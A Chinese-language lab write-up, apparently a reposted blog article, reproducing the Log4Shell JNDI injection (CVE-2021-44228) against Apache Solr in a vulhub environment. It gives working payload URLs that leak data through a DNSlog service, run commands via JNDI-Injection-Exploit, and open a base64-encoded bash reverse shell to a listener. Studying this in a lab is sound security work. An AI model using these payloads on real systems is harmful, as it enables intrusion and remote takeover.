漏洞复现——CVE-2021-44228

admin

101398
文章

87
评论

2022年11月25日22:35:12评论124 views字数 1562阅读5分12秒阅读模式

免责声明

本公众号所发布的文章及工具只限交流学习，本公众号不承担任何责任！如有侵权，请告知我们立即删除。

漏洞概述

Apche log4j远程代码执行漏洞，该漏洞就是去年杀疯了的log4j漏洞。apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程，受影响地版本中存在JNDI注入漏洞，导致日志在记录用户输入地数据时，触发了注入漏洞，该漏洞可导致远程代码执行，且利用条件低，影响范围广，小到网站，大到可联网的车都受影响。

靶场环境

vulhub搭建参考：

Vulnhub 靶场环境搭建

进入到vulbub靶场的/vulhub/log4j/CVE-2021-44228目录

使用命令：

docker-compose up -d #启动镜像，整个过程比较久，耐心等待

访问 http://yourip:8983/solr/#/ 成功访问到页面，搭建成功

漏洞复现——CVE-2021-44228

验证漏洞的存在

使用ceye平台接收dnslog信息

http://ceye.io/

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxxxx.ceye.io}

漏洞复现——CVE-2021-44228

获取到java的版本，证明漏洞存在

命令执行

（1）利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具创建success文件

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.0.1

漏洞复现——CVE-2021-44228

（2）根据提示的链接，去构造链接

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.1:1389/yp1nns}

（3）成功创建success文件

漏洞复现——CVE-2021-44228

反弹shell

（1）开启监听端口

nc.exe -lvvp 9999

（2）使用工具构造反弹shell

bash -i >& /dev/tcp/192.168.0.1/9999 0>&1 -> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg #base64编码java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg}|{base64,-d}|{bash,-i}" -A "192.168.0.1"

漏洞复现——CVE-2021-44228

根据提示的链接，去构造链接

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.1:1389/bwrcmp}或http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.1:1389/ymdqtj}均可